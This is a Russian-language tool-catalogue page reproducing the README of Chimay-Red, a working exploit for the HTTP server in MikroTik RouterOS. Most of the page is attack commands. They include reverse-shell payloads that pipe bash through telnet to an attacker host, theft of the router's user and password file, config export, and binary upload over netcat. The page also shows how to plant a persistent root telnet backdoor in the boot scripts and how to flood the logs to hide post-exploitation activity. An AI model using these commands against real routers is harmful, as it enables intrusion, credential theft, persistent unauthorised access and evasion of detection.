Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Chimay-Red — Рабочий POC эксплойта Mikrotik из утечек Vault 7 CIA | Kitploit
Инструменты/GitHubGitHub/bignerd95/chimay-red
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияОбратная инженерияШелл-кодПост-эксплуатацияТестирование на ПроникновениеБезопасность оборудования и IoTРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
66821374 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubbignerd95/chimay-red

Chimay-Red

Рабочий POC эксплойта Mikrotik из утечек Vault 7 CIA

Репозиторий

Chimay-Red

Реверс-инжиниринг эксплойта для Mikrotik из утечек Vault 7 CIA

См. PDF для получения дополнительной информации (не обновлялось)

Уязвимые версии

До RouterOS 6.38.4

Что нового в 6.38.5 (2017-Mar-09 11:32):
!) www - исправлена уязвимость http-сервера;

Proof of concepts

CrashPOC

Простой краш — отправка -1 в качестве content-length в заголовке post

StackClashPOC

Эксплойт stack clash с использованием двух потоков, отсутствует ROP-цепочка

Рабочие эксплойты

Поскольку ROP создаётся динамически, вам необходимо извлечь бинарный файл www из прошивки RouterOS.
(Он находится в /nova/bin/)
Убедитесь, что запущенная версия совпадает.
Для упрощения извлечения можно использовать:

$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary

StackClash_x86

Эксплойт stack clash с использованием двух потоков с ROP-цепочкой для выполнения bash-команд

Reverse shell:

В одном шелле:

$ nc -l -p 1234 

В другом шелле:

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Где:

  • IP RouterOS: 192.168.8.1
  • IP ПК: 192.168.8.5

Извлечение пользователей и паролей

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (подождите несколько секунд, пока www перезапустится)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -

Экспорт конфигураций

Вы можете выполнять команды в консоли Mikrotik с помощью /nova/bin/info.
Например: /nova/bin/info "/system reboot" перезагрузит систему.

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (выполнение команды /export немного медленное)
$ curl -s http://192.168.8.1/winbox/index

StackClash_mips

Эксплойт stack clash с использованием двух потоков с ROP-цепочкой + шелл-кодом для выполнения bash-команд
В mips-версии www стек является RWX, поэтому мы можем перейти на стек.

Вы можете выполнить ту же bash-команду, что и в x86-версии.

LCD

Забавная команда

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

image

Звук Super Mario

Не делайте этого! ;-P

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"

Загрузка бинарных файлов

Чтобы загрузить busybox-mips в /ram/busybox
В одном шелле:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; } | nc -l -q 0 -p 1234

В другом шелле (обратите внимание, что это команда reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

и подождите, пока соединение автоматически закроется.
(После загрузки файла снова запустите reverse shell (на этот раз только слушая с помощью nc -l -p 1234), и вы найдёте busybox внутри /ram/)

Постоянный telnet-сервер

Вы можете запускать скрипт при каждой загрузке, создав bash-скрипт в /flash/etc/rc.d/run.d/.
Обратите внимание на установку прав на выполнение, иначе ваш роутер зависнет при загрузке, и вам придётся восстанавливать прошивку!
Этот пример включает постоянный telnet-сервер на порту 23000.
В одном шелле:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips 
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234

В другом шелле (обратите внимание, что это команда reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

и подождите, пока появится Done! Rebooting....
Как только роутер снова загрузится:

$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.


MikroTik v6.38.4 (stable)
/ #

StackClash_resock_mips

Повторно использует http-сокет для запуска шелла, так что вы можете получить шелл без обратного соединения.

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode

Got root ;-)

Загрузка бинарных файлов без reverse shell

Чтобы загрузить busybox-mips в /ram/busybox

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox   
[...]   
Uploading busybox-mips in /ram/busybox...   
Upload done!
sh: turning off NDELAY mode

Got root ;-)

chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]

Изменение логотипа загрузки

Поддерживаются только файлы RGB Bitmap 24 бита (без сжатия).
Максимальный размер: 160px в ширину, 76px в высоту
Пример можно найти здесь

$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp  
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode

Got root ;-)

reboot
*** Connection closed by remote host ***

image

Сокрытие логов

Чтобы удалить логи после ваших действий по постэксплуатации

/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"

FAQ

Где взять файл chimay-red.py, на который опирается этот набор инструментов?

Это реверс-инжиниринг утёкшей документации CIA.
Публично доступного chimay-red.py не существует.

Я не могу понять, как работает stack clash.

Я обновлю PDF, как только у меня будет достаточно времени, а пока:
Мы знаем, что:

  • каждый поток имеет 128KB стека
  • каждый стек каждого потока расположен поверх стека предыдущего потока.
Скачать инструмент